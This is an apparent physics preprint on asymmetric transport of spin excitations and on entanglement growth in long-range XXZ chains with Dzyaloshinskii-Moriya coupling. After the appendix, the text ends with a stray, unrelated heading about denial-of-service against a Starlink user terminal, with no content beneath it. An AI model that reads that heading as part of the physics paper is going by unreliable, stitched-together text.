# Asymmetric Transport in Long-Range Interacting Chiral Spin Chains

Javad Vahedi<EMAIL_ADDRESS>Technische Universität
Braunschweig, Institut für Mathematische Physik, Mendelssohnstraße 3, 38106
Braunschweig, Germany  Department of Physics and Earth Sciences, Jacobs
University Bremen, Bremen 28759, Germany

###### Abstract

Harnessing power-law interactions ($1/r^{\alpha}$) in a large variety of
physical systems are increasing. We study the dynamics of chiral spin chains
as a possible multi-directional quantum channel. This arises from the
nonlinear character of the dispersion with complex quantum interference
effects. Using complementary numerical and analytical techniques, we propose a
model to guide quantum states to a desired direction. We illustrate our
approach using the long-range XXZ model modulated by Dzyaloshinskii-Moriya
(DM) interaction. By exploring non-equilibrium dynamics after a local quantum
quench, we identify the interplay of interaction range $\alpha$ and
Dzyaloshinskii-Moriya coupling giving rise to an appreciable asymmetric spin
excitations transport. This could be interesting for quantum information
protocols to transfer quantum states, and it may be testable with current
trapped-ion experiments. We further explore the growth of block entanglement
entropy in these systems, and an order of magnitude reduction is
distinguished.

]

##  I Introduction

Recently, long-range interacting quantum systems have received an increasing
attention in quantum applicationsSchauß  _et al._ (2012); Islam  _et al._
(2013); Jurcevic  _et al._ (2014); Richerme  _et al._ (2014); Hung  _et al._
(2016). Many natural and engineered quantum systems show long-range
interactions decaying with distance $r$ as a power law $1/r^{\alpha}$, such as
van der Waals or dipole-dipole interactions. This has triggered fundamental
questions related to the spreading of correlation in such systems, in
particular the generalization of light-cone picture of the Lieb-Robinson (LR)
boundLieb and Robinson (1972). Comprehension the quantum dynamics in this more
general case is an active field of theoretical research Hauke and Tagliacozzo
(2013); Schachenmayer  _et al._ (2013); Buyskikh  _et al._ (2016); Zeiher  _et
al._ (2017); Cevolani  _et al._ (2018); Frérot  _et al._ (2018); Liu  _et al._
(2019); Lerose  _et al._ (2019); Lerose and Pappalardi (2020); Joshi  _et al._
(2020); Schneider  _et al._ (2021).

With local quenches in the long-range transverse Ising modelHauke and
Tagliacozzo (2013); Jurcevic  _et al._ (2014) and XY modelRicherme  _et al._
(2014), the behavior of correlation propagation is classified into different
regimes as a function of the decay exponent $\alpha$. For spreading of
correlation, the dynamics are divided into (i) a regime of short-range
interactions where $\alpha>2$, and (ii) a regime of intermediate- and long-
range interactions when $\alpha<2$, with certain features also changing at
$\alpha=1$. While the light-cone picture remains a good description for short
and intermediate-range, at long-range the maximal velocity is predicted to
diverge and the light-cone is no longer exists.

Moreover, noncollinear spin models with unique rotational states, such as
chiral spin-spirals, have also received great attention for their application
potential in spintronics, information technology and likelihood hosts for
Majorana Fermions with coupled to a superconductorNadj-Perge  _et al._ (2014);
Jeon  _et al._ (2017). Moreover, experiments show the importance of
Dzyaloshinskii-Moriya (DM) interactions in the appearance of a spin-spiral
ground state configurationSteinbrecher  _et al._ (2018) and the appearance and
importance of a vector spin chirality, an order parameter, in the system
dynamics and transmit information down the chainKatsura  _et al._ (2005);
Menzel  _et al._ (2012). While linear coupling in the spin models
($\sim\bm{S}_{i}\cdot\bm{S}_{j}$) favors a parallel (ferromagnetic) or
antiparallel (antiferromagnetic) alignment, the DM coupling
($\sim\bm{S}_{i}\times\bm{S}_{j}$) favors perpendicular alignment, which could
possess a frustrated ground stateVahedi and Mahdavifar (2012), as well as rich
three-dimensional spin skyrmion structuresFert  _et al._ (2017). Furthermore,
long-range DM interactions showed a rich phase diagram and quantum dynamics in
1D systemsVernek  _et al._ (2020). The DM couplings between spins exist only
when the inversion symmetry is broken at the middle point between the two
spinsDzyaloshinsky (1958); Moriya (1960). For models with inversion symmetry,
the external electric field $\vec{E}$ induces the DM interaction. Namely
$D_{ij}\sim\vec{E}\times\vec{e}_{ij}$, where $\vec{e}_{ij}$ is the unit vector
connecting the two sites $i$ and $j$.

Motivated by these possibilities, we study local quench dynamics in the long-
range interacting XXZ modelJurcevic  _et al._ (2014); Richerme  _et al._
(2014) modulated with noncollinear DM interaction. While several studies on 1D
systems with colinear interactions have been reported, the effect of long-
range DM interactions has not been explored before (to the best of our
knowledge). Using complementary numerical and analytical techniques we explore
the possible quantum state engineering, and our main results on the quantum
correlation spreading are summarized in Fig.1. It sketches the situation when
a polarised spin state undergoes a local quench dynamics when long-range DM
interaction is absent or present. In the absence of DM interaction, excitation
propagates symmetrically about the perturbation. While the presence of DM
interaction modulates an asymmetric transport for all $\alpha$’s, but is only
appreciable for intermediate- and long-rage (small $\alpha$). The direction in
which spin excitation transport can also be controlled by DM coupling. A
similar asymmetric transport has been recently reported in Abelian anyons Liu
_et al._ (2018). Contrary to the Abelian anyons in which non-local anyonic
commutation plays a role, in fermionic and bosonic models presented in this
work complex quantum interference induces asymmetric transport.

Figure 1: (colour online) Sketch of the protocol. (a) at time $t=0$
initializing state with all spins aligned in the $z$-direction, and perturb
single spin at the middle of chain by reversing it direction. Probing local
spin evolution at later times (b) in the absence of DM interaction $D_{ij}=0$
for all range of interaction, and in the presence of DM interaction
$D_{ij}\neq 0$ for (c) nearest-neibour interaction $\alpha=\infty$, (d) at
finite $\alpha<\infty$ but significant in long-range regime $\alpha\rightarrow
0$.

The rest of this article is arranged as follows: In Sec. II, we present the
long-range models, the quantum quench protocol setup, and details of the tools
we use to probe the experiment. In Sec. III, we then present the results,
giving details of the methods we use to solve. We provide a summary in Sec
.IV.

##  II Models and Observables

Two long-range interacting IsingJurcevic  _et al._ (2014) and XYRicherme  _et
al._ (2014) spin models have already been engineered experimentally with ion
trapped technique and studied theoreticallyHauke and Tagliacozzo (2013). The
out-of-equilibrium dynamic following local and global quenches in these two
models have been investigated, and shown that at sufficiently long-range
interaction, the locality is expected to be spoiled (namely, not obeying LR
bound). Here, we assume it could also be feasible to engineer a long-range
interaction as of DM interaction which occurs when a model is no longer
symmetric under inversionDzyaloshinsky (1958); Moriya (1960). Having this
assumption, we come up with the following long-range XXZ Hamiltonian:

$\displaystyle\mathcal{H}$ $\displaystyle=$ $\displaystyle\sum_{i\neq
j}\Big{[}J_{ij}\left(\sigma_{i}^{x}\sigma_{j}^{x}+\sigma_{i}^{y}\sigma_{j}^{y}+\Delta\sigma_{i}^{z}\sigma_{j}^{z}\right)+D_{ij}\cdot\left(\bm{\sigma}_{i}\times\bm{\sigma}_{j}\right)\Big{]}$
(1) $\displaystyle+h\sum_{i}\sigma^{z}_{i}$

where $J_{ij}=J/|i-j|^{\alpha}$ and $D_{ij}=D\hat{z}/|i-j|^{\alpha}$ with
tunable exponent between infinite range $(\alpha=0)$ and nearest-neighbour
$(\alpha=\infty)$, $J$ and $D$ denote the nearest-neighbor interaction
strength, $\Delta$ is exchange anisortiopy, and $h$ is local magnetic field.
In this system, the total axial magnetization $S_{\rm
total}=\sum_{i=1}^{L}\sigma_{i}^{z}$ is a conserved quantity. Model is
nonintegrable for all finite $\alpha$, but reduces to integrable models in the
limit $\alpha\rightarrow 0$.

Local and global quenches are two well-tested protocols in the community of
nonequilibrium dynamics. Here, we follow exactly the local quench setup as
used in the experiment of Ref.Jurcevic  _et al._ (2014). We prepare a
polarised spin state in which all spins are aligned in the external field
$z$-direction (see Fig.1-a), as a ground state of the models at extreme case
$h\gg{\rm max}\\{J_{ij},D_{ij}\\}$, then we perturb a single spin at the
middle of the system by flipping its direction
$\ket{\psi_{0}}=\sigma^{x}_{L/2}\ket{\psi_{\rm GS}}$, as
$\ket{\psi_{0}}=\ket{\uparrow\cdots\uparrow\downarrow\uparrow\cdots\uparrow}$,
and observing its subsequent evolution. This can be done by probing spatially
and temporally resolved spin polarization$\langle\sigma_{i}^{z}\rangle_{t}$ or
equal-time connected correlation function
$C_{i,L/2}(t)=\langle\sigma_{i}^{z}\sigma_{L/2}^{z}\rangle_{t}-\langle\sigma_{i}^{z}\rangle_{t}\langle\sigma_{L/2}^{z}\rangle_{t}$.

The block entanglement entropy (EE) also gives interesting information of
quantum correlations between two segments of a system (namely the left and
right half of the chain). We will use the von Neumann entropy, which is given
via

$\displaystyle S_{\rm vN}(\rho_{l})\equiv S_{l}\equiv-{\rm
tr}(\rho_{l}\log\rho_{l})$ (2)

where $\rho_{l}$ is reduced matrix of the left segment of chain and is defined
as $\rho_{l}\equiv{\rm tr}_{r}\left(\ket{\psi}\bra{\psi}\right)$, which ${\rm
tr}_{r}$ denotes the partial trace over the right segment of chain. In this
work, we consider the EE of half of the chain $S_{L/2}(t)$, as its time-
dependent growth summaries the buildup of quantum correlations between two
halves of the chain.

Spreading information and distribution of entanglement across either side of
the initial excitation in this setup could potentially be useful for
application. Quantum mutual information, which gives more information on the
distance of correlationsSchachenmayer  _et al._ (2013), is the information
between two distant spins $i$ and $j$, and is defined via

$\displaystyle\mathcal{I}_{ij}=S_{\rm vN}(\rho_{i})+S_{\rm
vN}(\rho_{j})-S_{\rm vN}(\rho_{ij})$ (3)

where $\rho_{i}=tr_{k\neq i}(|\psi\rangle\langle\psi|)$ and
$\rho_{j}=tr_{k\neq j}(|\psi\rangle\langle\psi|)$ denote the reduced density
matrices of the single spins (obtained by tracing over all other spins $k$),
and $\rho_{ij}=tr_{k\neq i,j}(|\psi\rangle\langle\psi|)$ is the reduced
density matrix of the composite system of the two spins.

As said before, our main goal is to explore the way correlations propagate in
the model and plausible control over them. In the following section, we
exploit both analytical and numerical techniques to measure the above tools to
tackle the problem.

##  III Results

To get an intuition, it may help to start with the nearest-neighbor (namely
$\alpha=\infty$) model with $\Delta=0.0$ and map Hamiltonian Eq.(1) to a
fermionic model. This model can be solved analytically using the Jordan-Wigner
transformation. For the long-range interacting case, the analytical fermionic
picture is no longer applicable, so one can switch to the bosonic language as
an analytical tool or exploit numerical techniques to inspect the dynamic of
the model. To treat the many-body problem and considering the interacting term
$\Delta\neq 0$, we choose the exact diagonalizing (ED) method but note that ED
is limited to small system size $L\approx 14$ due to exponential growth of the
Hilbert space dimension $2^{L}$. However, to study the dynamic of many-body
systems, the Krylov-space technique with exploiting the sparse structure of
Hamiltonian can push limit bigger system sizeNauts and Wyatt (1983); Saad
(1992); Brenes  _et al._ (2019). We notice for the long-range interaction the
Hamiltonian matrix is not sparse as a short-range case. Nevertheless, with the
method we were able to reach system sizes up to $L=23$ with dimension ${\rm
dim}(\mathcal{H})=2^{23}\approx 10^{7}$.

Figure 2: (colour online) (a) Energy dispersion (left panel) relations for
Hamiltonian in Eq.(4) for $D=0.0$ and $D=1.0$. The corresponding group
velocity $v_{g}=\frac{d\omega_{q}}{dq}$ are shown in the right panel. (b)
single site occupation $\bra{\psi_{t}}c_{j}^{\dagger}c_{j}\ket{\psi_{t}}$
versus time. Excitation at $L/2$ spreads light-cone-like, bonded by the
maximal group velocity $v_{\rm max}=2\tilde{J}$, shown with dashed line.

###  III.1 Mapping to fermionic particles ($\Delta=0.0$)

To understand the excitation spread, it is instructive to start with the case
of nearest-interactions, i.e., with a decay exponent
$\alpha\rightarrow\infty$, and discuss the dynamics of the quantities in this
regime. In the limit $\Delta=0.0$, the model Hamiltonian Eq.(1) becomes a
standard XX model of the form

$\displaystyle\mathcal{H}_{\rm
fermion}=\sum_{j}\tilde{J}\left(\sigma_{j}^{x}\sigma_{j+1}^{x}+\sigma_{j}^{y}\sigma_{j+1}^{y}\right)+h\sigma_{j}^{z}$
(4)

where $\tilde{J}=\sqrt{J^{2}+D^{2}}$. Note that we performed a unitary
transformation $H_{\rm fermion}=\mathcal{Q}H\mathcal{Q}^{\rm{}^{\prime}}$ to
eliminate the $D$ term. Where $\mathcal{Q}=\prod_{j\in
even}e^{-i\theta\sigma_{j}^{z}}$, and $\tan{(\theta)}=-D/J$. This model has
been well studied in the literaturesMahdavifar  _et al._ (2015); Vahedi  _et
al._ (2016); Mofidnakhaei  _et al._ (2018). Rewriting the local spin-lowering
and spin-raising operators $\sigma_{j}^{\pm}=(\sigma_{j}^{x}\pm
i\sigma_{j}^{y})/2$, then with a Jordan-Wigner transformation, these operators
can be mapped to anti-commuting quasiparticles via
$c_{i}=\prod_{j<i}(-1)^{\sigma_{j}^{+}\sigma_{j}^{-}}\sigma_{i}^{-}=\prod_{j<i}(1-2\sigma_{j}^{+}\sigma_{j}^{-})\sigma_{i}^{-}$.
This end up with a one-dimensional noninteracting spinless fermion
Hamiltonian: $\mathcal{H}_{\rm
fermion}=\sum_{j}\tilde{J}(c_{j}^{\dagger}c_{j+1}+{\rm
h.c.})+hc_{j}^{\dagger}c_{j}$. By doing a Fourier transformation into the
momentum space as $c_{j}=L^{-1/2}\sum_{q}e^{-iqj}c_{q}$, one get diagonalised
Hamiltonian as $\mathcal{H}_{\rm
fermion}=\sum_{q}\omega_{q}c^{\dagger}_{q}c_{q}$, where
$\omega_{q}=2(\tilde{J}\cos{q}+h)$. For $L$ spins, the quasi-momenta are given
by $q=n2\pi/L$, where $n=-L/2,\dots,L/2-1$. The group velocity of
quasiparticles is given by $v_{g}=\frac{d\omega_{q}}{dq}$. Fig.2-(a) shows
energy dispersion relation $\omega_{q}$ and the corresponding group velocity.
It can be noticed that the energy is bounded with band width $4\tilde{J}$, and
the DM interaction normalizes the coupling with a visible impact on maximum
group velocity $v_{g}^{\rm max}=2\tilde{J}$ at $q=\pm\pi/2$.

Now lets explore the out-of-equilibrium dynamics. We prepare an initial state
$\ket{\psi_{0}}=c_{L/2}^{\dagger}\ket{0}$, which in fermionic language means
crating a single quasiparticle at the middle of chain as $\ket{0\cdots
00100\cdots 0}_{L}$. This fermionic state can be easily prepared in
experimentsSchneider  _et al._ (2012). Then we probe spreading of excitation
in system with monitoring single site occupation
$\bra{\psi_{t}}c_{j}^{\dagger}c_{j}\ket{\psi_{t}}$, where
$\ket{\psi_{t}}=L^{-1/2}\sum_{q}e^{i(qL/2-\omega_{q}t)}c_{q}^{\dagger}\ket{0}$.
With a little algebra we have $\langle
c_{j}^{\dagger}c_{j}\rangle_{t}=L^{-2}\sum_{q_{1},q_{2}}e^{-i(q_{1}-q_{2})(L/2-j)}e^{i(\omega_{q_{2}}-\omega_{q_{1}})t}$.
Note that connection with the original spin model can be traced with
$\langle\sigma^{z}_{j}\rangle_{t}=2\langle c_{j}^{\dagger}c_{j}\rangle_{t}-1$,
which means, in Fig.2-(b), we are looking at the correct observable.

Fig.2-(b) shows results for a chain with $L=51$ sites. A locally perturbed
system causes emitting quasiparticles at different speeds, which the fastest
particles propagate at a speed $v_{g}^{\rm max}=2\tilde{J}$. It gives rise to
LR bound, which defines an effective causal cone for spatial correlations,
outside of which the correlations are exponentially suppressedLieb and
Robinson (1972). It is readily apparent that with the perturbing system at the
center, excitations propagate in a symmetric way to both sides and a perfect
light cone is constructed. As discussed, tuning DM interaction increases
$v_{g}^{\rm max}$, and this is clear by comparing left ($D=0.0$) and right
($D=1.0$) panels in Fig.2-(b). For the time window present in these figures,
quasiparticles for the case $D=1.0$ hit the boundaries. Fig.2-(a) shows that
for regime $\alpha\rightarrow\infty$, the dispersion and corresponding
velocity are bounded. This leads to a well-defined boundary of light-cone,
which is clear in Fig.2-(b).

###  III.2 Mapping to bosonic particles ($\Delta=0.0$)

The presence of long-range interactions makes it impossible, as the Jordan-
Wigner transformation is a non-local string operator, to map directly from the
spin system to fermionic particles. However, we can use linear spin-wave (LSW)
theory to describe Hamiltonian in terms of quantum fluctuations around its
classical ground state. For model Hamiltonian Eq.(1) with the absence of DM
interaction, the validity of LSW in the presence of power-law interactions has
recently been addressedFrérot  _et al._ (2017). Moreover, for the initial
state considered here, as is composed of a single magnon, the LSW treatment is
exact.

We can map spin particles onto a system of hard-core bosons (magnons),
introducing the Holstein-Primakoff transformation, $\sigma^{z}_{j}\rightarrow
n_{j}-1/2$, $\sigma_{j}^{+}\rightarrow b_{j}^{\dagger}$ , and
$\sigma_{j}^{-}\rightarrow b_{j}$ where $b_{j}^{\dagger}(b_{j})$ are the
creation (annihilation) operators of hard-core bosons and $n_{i}$ is the
number operator at site $i$. These bosons obey the bosonic commutation
relationships, $[b_{j},b_{j}^{\dagger}]=1$, with constrain
$b_{j}^{2}=(b_{j}^{\dagger})^{2}=0$, such that a site either filled by one
boson or empty. This can be interpreted, a spin up particle is represented by
a filled site and a spin down particle by an empty site. To treat the dynamic,
the picture of non-interacting magnons is only valid when
$L^{-1}\sum_{q}\langle b_{q}^{\dagger}b_{q}\rangle(t)\ll 1$ at all times,
otherwise one has to account for the presence of magnons interactions.
Considering the initial ordering of the spins along the $z$-axis (as close to
initial state prepare before quench in this work) shown be a good
approximation for $\Delta=0$)Buyskikh  _et al._ (2016); Frérot  _et al._
(2017).

Figure 3:  (color online) (a,b) Energy dispersion $\epsilon_{q}$ and
corresponding group velocity $v_{g}=\frac{d\epsilon_{q}}{dq}$ of Eq.(5) for
various interactions range. Results of two DM interactions shown on left
($D=0.0$) and middle ($D=1.0$) panels, respectively. (c,d) A figure of merit
which qualitatively shows asymmetric features of energy and group velocity.

Then we end up with a noninteracting magnonic (bosonic) Hamiltonian

$\displaystyle\mathcal{H}_{\rm
boson}=\sum_{ij}\left(\mathcal{J}_{ij}b_{i}^{\dagger}b_{j}+{\rm
h.c.}\right)+h\sum_{j}b_{j}^{\dagger}b_{j}$ (5)

where $\mathcal{J}_{ij}=J_{ij}+iD_{ij}$. The complex hopping, can be recast
into a phase like term as
$\mathcal{J}_{ij}=\frac{\tilde{J}e^{i\phi}}{|i-j|^{\alpha}}$ with $\phi=D/J$
independent of the decay exponent $\alpha$ . By doing a Fourier transformation
into the momentum space as $b_{j}=L^{-1/2}\sum_{q}e^{-iqj}b_{q}$, one get
diagonalised Hamiltonian as $\mathcal{H}_{\rm
boson}=\sum_{q}\epsilon_{q}b^{\dagger}_{q}b_{q}$, where
$\epsilon_{q}=\tilde{J}\sum_{r\neq 0}\cos{(qr-\phi)r^{-\alpha}}+h$. In
contrast to the nearest-neighbour limit, for long-range interaction on a
finite system with open boundary conditions, maximal group velocity can be
extracted with $v_{g}^{\rm max}\equiv|{\rm
max}_{q}\left(\epsilon_{q+\pi/(L+1)}-\epsilon_{q}\right)(L+1)/\pi|$. In
contrast to the nearest-neighbor case ($\alpha\rightarrow\infty$), now the DM
interaction is not gauging away with helping the unitary transformation
$\mathcal{Q}$.

Figs.3-(a,b) show the energy dispersion relation $\epsilon_{q}$ and the
corresponding group velocity for various interaction ranges. In the absence of
DM interaction ($D=0$, left panels), a clear difference going from short-range
regime to long-range regime is visible. For regime $\alpha>2$, the energy
dispersion as well as its derivative are bounded i.e. $v_{g}^{\rm
max}\equiv\epsilon^{\prime}_{q}<\infty$. As we already noted, this ends in a
clear light-cone shape of correlation spread. The situation changes for
$\alpha<2$ as a kink appear at zero momentum $q=0$. For the regime where
$1<\alpha$, although the dispersion is bonded $\epsilon_{q}<\infty$, the
velocity diverges. This enhances leakage of correlations outside of the light
cone. On the other hand when $\alpha<1$, both dispersion and group velocity
become unbounded, and the light-cone disappears.

Figure 4: (colour online) Single site bosonic particle occupation
$\bra{\psi_{t}}b_{j}^{\dagger}b_{j}\ket{\psi_{t}}$ versus time for $D=0.0$ and
$D=1.0$ depicted on left and right panels, respectively. Parameter
$\alpha=1.1$. Figure 5: (colour online) Same as Fig. 4, but for a domain-wall
state as spread over $x>0$ as $\ket{\psi_{0}}=c_{L/2}^{\dagger}\cdots
c_{L}^{\dagger}\ket{0}$.

Now let us turning on the DM interaction. The dispersion relation and
corresponding group velocity for $D=1.0$ are illustrated on the middle panels
of Figs.3-(a,b). As before, by changing interaction from short to long-range,
a kink appears at $q=0$. However, an asymmetry is noticeable in energy
dispersion and also group velocity, which develops by complex hopping
accompanied by phase shift in the model. As emerges, the asymmetry is getting
substantial if the model exists at a long-range regime. To attain a deeper
understanding, in Figs.3-(c,d), we plot a figure of merit to depict
qualitatively asymmetry dependence versus decay exponent $\alpha$. As
demonstrated, the figure of merit is zeros when $D=0.0$, whereas for $D\neq 0$
model has a certain level of asymmetry at short-range and gradually increases
towards the long-range regime ($\alpha\rightarrow 0$). Analytically, one can
also show that the presence of the DM term accompanied with interaction range,
$\alpha$, leads to asymmetric excitation propagation throughout the model. To
this end, let us assume $\phi<1$ and expand velocity about momentum $q=0$.
Then by considering contribution of the lowest modes to the velocity gives
$v_{q=0^{+}}-v_{q=0^{-}}\approx\frac{4\pi\phi}{L}r^{1-\alpha}$. This is in
agreement with the figure of merit shown in Fig.3-(d).

This feature greatly impacts on correlation spreading of the model. We will
show it within the quench setup introduced in the proceeding part.

We prepare an initial state with one boson at the center of the chain as
$\ket{\psi_{0}}=b_{L/2}^{\dagger}\ket{0}$, which this bosonic state also can
be prepared in experimentsRonzheimer  _et al._ (2013). Fig.4 displays
spatially resolved single site occupation
$\bra{\psi_{t}}b_{j}^{\dagger}b_{j}\ket{\psi_{t}}$ versus time for
$\alpha=1.1$. Note that connection with original spin model reads as
$\langle\sigma^{z}_{j}\rangle_{t}=\langle
b^{\dagger}_{j}b_{j}\rangle_{t}-1/2$. In the absence of DM interaction,
excitation at the center propagates to the both sides of the chain
symmetrically. Although the wavefront needs finite time, the light cone is not
as clear as the short interaction regimeHauke and Tagliacozzo (2013). The
situation changes when DM interaction is turned on. It is apparent that
wavefront propagation is no longer symmetric. Indeed, if we look more closely
at the right panel of Fig.4, we see that long-range DM interaction behaves as
a barrier and guides the spin-wave into the desired directionRamos  _et al._
(2016); Vermersch  _et al._ (2016). By changing the DM interaction, namely
from $\hat{z}$ to $-\hat{z}$, one can reverse propagation direction. This
could be understood as follows: the phase in the hopping (in hard-core boson
language) does not do anything if one has nearest-neighbor interactions,
however at long-range interactions, one has closed loops, and now there are
interference effects between different hopping paths where the phases come
into play. This can also be rephrased in terms of the unitary transformation,
which does not amount to a simple shift of the dispersion relation when
interactions are longer ranged because the lattice is no longer bipartite.

Figure 6: (color online) Numerical exact results of spatially and temporally
resolved spin polarisation $\langle\sigma_{i}^{z}\rangle_{t}$ of XXZ model
(see Eq.(1)) with $\Delta=1.5$ for $D=1.0$ at short ($\alpha=6.0$, left panel)
and long ($\alpha=0.5$, right panel) range interacting regimes.

Before closing this part, it is worth commenting on that the magnon
propagation with a dispersion $\epsilon_{q}\approx\cos{(qr-\phi)}$ is not
parity symmetric. With choosing an initial state which is perfectly localized
in space (or a uniform superposition of in momentum space), and since the
dispersion relation is just shifted in momentum space, it will continue to
look symmetric. However, considering a different initial state, e.g. a magnon
wave-packet spread over a width of $x>0$ lattice sites, this would be
nonuniform in momentum space, preferentially selecting momenta around zero.
Thus, this wave-packet would move asymmetrically due to DM interactions. To
verify this, we consider a domain-wall state
$\ket{\psi_{0}}=c_{L/2}^{\dagger}\cdots c_{L}^{\dagger}\ket{0}$. As can be
seen in Fig.5, while for the case with $D=0.0$ wave packet almost confined
into $x>0$, for the case with $D\neq 0$ nonuniform momentum contribution
combined with phase shift modulated with DM interaction leads to asymmetry
propagating of excitation through the model.

###  III.3 Exact diagonalization

Testing the preceding results in a many-body picture demands numerical
techniques to consider Eq. (1), as it is not trivial to tackle analytically.
Using the Krylov-space technique, we probe the spin polarisation
$\langle\sigma_{i}^{z}\rangle_{t}$. For an initial state, without loss of
generality, we choose a two-body state as
$\ket{\psi_{0}}=c_{L/2-1}^{\dagger}c_{L/2+1}^{\dagger}\ket{0}$. Fig.6 depicts
results for the XXZ model with $\Delta=1.5$. Consistent with the fermionic
picture, at short-range interaction, the initially localized perturbation
spread bounded by LR velocity, leads to the formation of the light cone (see
the left panel of Fig.6). Although, the presence of DM interaction changes the
propagation speed and induces a degree of asymmetry, the light cone still
exists (as the Hamiltonian is local and LR bound is well defined). Increasing
interaction range (decreasing $\alpha$) leads the correlations instantaneously
spread over the chain as shown in the right panel of Fig.6. This confirms the
breakdown of LR bound similar to that of Ref.Jurcevic  _et al._ (2014);
Richerme  _et al._ (2014); Hauke and Tagliacozzo (2013).

By turning the DM interaction, we find results similar to the single-particle
case (see the right panel of Fig.6). Interestingly, with complex interference
effects induced by DM coupling, spin excitation guides to the desired
direction.This calls that one could expect these behaviors to survive even in
the many-body regime, as recently an asymmetric transport also reported in
Abelian anyons Liu  _et al._ (2018). However, contrary to the Abelian anyons
in which non-local anyonic commutation plays a role, for the model proposed in
this work complex quantum interference and non-trivial shift of dispersion
relation (as the lattice is no longer bipartite with long-range interaction)
are possible scenarios to explain asymmetric transport.

Figure 7: (colour online) Growth of half-chain entanglement entropy $S_{\rm
vN}$ for various parameters in the Hamiltonian of Eq.(1). The horizontal
dashed line is saturate value $S_{\rm vN}(t)=\log{2}$. Insert plot illustrates
shaded area in logarithmic scale. Data for chain size $L=23$ and $\Delta=0.5$.

###  III.4 Quantum information tools

It would also be interesting to look at the entanglement spreading in the
setup. To this end, we first numerically analyze block entanglement entropy.

Fig.7 displays growth of half-chain entanglement entropy $S_{\rm vN}$. In all
sets of parameters shown here, $S_{\rm vN}(t)$ initially grows as a power of
time $t$ and at longer time saturates to $S_{\rm vN}(t)=\log{2}$ independent
of system regime. Figs.7(a,b) present results for long-range ($\alpha=0.5$)
and short-range ($\alpha=6.0$) regimes with different DM coupling strengths.
By increasing DM, the linear(in logarithmic scale) behavior of $S_{\rm vN}$
breaks down and changes into an oscillatory before entering the saturation
regime. As observed, while the presence of DM coupling modulates a higher
value of entanglement at a smaller time, it finds lower entanglement at later
times. This may be explained in connection to the confinement of elementary
excitations Liu  _et al._ (2019); Kormos  _et al._ (2016). It leads to the
suppression of entanglement entropy which in general instances turns out to
oscillate rather than grow indefinitely.

The situation is more profound in the long-range regime as correspondingly
excitations speed modified by DM interaction. Figs.7(c,d) illustrate results
for a fixed DM coupling by changing the power exponent $\alpha$. In absence of
the DM coupling (Fig.7-(c)) and for $\alpha>1.0$, the half-chain entropy
initially increases as a power of $t$, while it starts to oscillate at short
times for the long-range regime. Remarkably, this becomes more prominent with
the presence of DM interaction. In Fig.7(d), it can be seen that by changing
$\alpha$, $S_{\rm vN}$ shows appreciable oscillation with a few orders of
magnitude reduction. This may show a signature of diffusive rather than
ballistic transport in the chain. Although a detailed study in this line needs
separate work, we give some elaboration on this issue in the appendix. Another
explanation would be that the dynamics are constrained to take place in a
small part of the total available Hilbert space. This is already addressed in
Ref.Schachenmayer  _et al._ (2013), in the case of infinite-range interactions
with connection to the Lipkin-Meshkov-Glick Hamiltonian Vidal  _et al._
(2004); Wilms  _et al._ (2012).

Figure 8: (colour online) Main panels (a-c) show time evolution of quantum
mutual information polarization $\Delta\mathcal{I}$ between spin at centre
(place of initial perturbation) and the spins located at edges of chain. Side
panels correspond to the quantum mutual information $\mathcal{I}_{ij}$ of the
main panel. Data for chain size $L=23$ and $\Delta=0.5$.

At the experimental level, this is more straightforward to measure quantum
mutual information than the von Neumann entropy. So further confirmation may
be accessed by inspection quantum mutual information between two distant spins
$\mathcal{I}_{ij}$. In Fig.8, we have plotted a figure of merit to measure
quantum information polarization

$\Delta\mathcal{I}=\left|\frac{\mathcal{I}_{1,L/2}-\mathcal{I}_{L,L/2}}{\mathcal{I}_{1,L/2}+\mathcal{I}_{L,L/2}}\right|$

between spin located at the center with spins is sitting at the edges of the
chain. For comparison purposes, results for three different regimes are
presented in the same time window. Noticeably, we find that for the
intermediate and the long-range regime distant spins become entangled
instantaneously, whereas for the short-range regime quasiparticle needs a
certain time to reach edges (consistent with LR bound). Furthermore, we notice
that for $D=0$ and irrespective the interaction range, $\Delta\mathcal{I}$ is
always zero. This confirms the symmetric spread of quantum information to
either sides of the chain. However, for a finite $\alpha$ (appreciable for
$\alpha\lessapprox 2$), the presence of DM interaction changes the way quantum
information spreads over the chain. Interestingly, as shown in Fig.8, by
gradually tuning the DM coupling strength quantum information
$\Delta\mathcal{I}$ increases and even may reach a fully polarized one for
some time intervals.

##  IV Summary and Outlook

Recently, long-range spin chains have gained attention as platforms to study
quantum information dynamics. On can use the possibility of controlling the
power-law interactions and vector chirality of DM coupling in order to drive
information along the chain. We proposed a protocol setup consisting of long-
range spin-$1/2$ chain modulated with DM coupling. For translationally
invariant fermionic or bosonic models, information spreading occurs in a
spatially symmetric way. However, our results reveal that by adjusting the
interaction range and DM coupling direction we can transport excitation in
desired path. This could potentially enable us to design quantum information
protocols with unidirectional and bidirectional quantum channels. , and maybe
testable with current state-of-the-art trapped-ion experiments. We further
explore the growth of block entanglement entropy in these systems and an order
of magnitude reduction distinguished. This issue could also be interesting to
simulate the quantum system on a computer, as linear growth of entanglement
with time, often makes numerical simulation unfeasible. Schollwöck (2011);
Schwarz  _et al._ (2012); Evenbly and Vidal (2014). Finally, it would be
interesting to study the effects of long-range DM interactions on other
systems, e.g. many-body localized systems Schreiber  _et al._ (2015); Abanin
_et al._ (2019), or long-range disorder spin chainsMohdeb  _et al._ (2020).

##  V Acknowledgement

I would like to express my gratitude to Prof. Christoph Karrasch for the
financial support of my stay in his group. I acknowledge the support from
Deutsche Forschungsgemeinschaft (DFG) KE-807/22-1. Thanks to Hasan Fathi and
Youcef Mohdeb for proofreading the article. The ED calculations have been
performed at the Centre De Calcul (CDC), CY Cergy Paris Université. We also
thank the anonymous referees for the thoughtful comments that resulted in the
improvement of the paper. *

##  Appendix A Half-chain entanglement growth

In this appendix, we aim to have more analysis on $S_{\rm vN}$. Fig.9 plots
results of entanglement growth for different system sizes. Interestingly, the
results at the long-range regime shows clear size dependence with reduction of
entanglement growth at thermodynamic limit. The DM interaction effects are
also visible with comparing panels (a) and (b). Although, at the long-range
regime and for short times, $S_{\rm vN}$ increases faster than the nearest-
neighbor case (see the solid-black line in Fig.9), but a suppression at a
later time is profound

Figure 9: (colour online) Growth of half-chain entanglement entropy $S_{\rm
vN}$ of Hamiltonian Eq.(1) with $\Delta=0.5$ for various different chain
length at long-range regime with $\alpha=0.5$. Where DM interaction (a)
$D=0.0$, (b) $D=1.0$. The solid-black line is data for nearest-neighbour case
($\alpha\rightarrow\infty$). Inset shows $S_{\rm vN}$ scaled with chain
length.

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# Dishing out DoS: How to Disable
and Secure the Starlink User Terminal

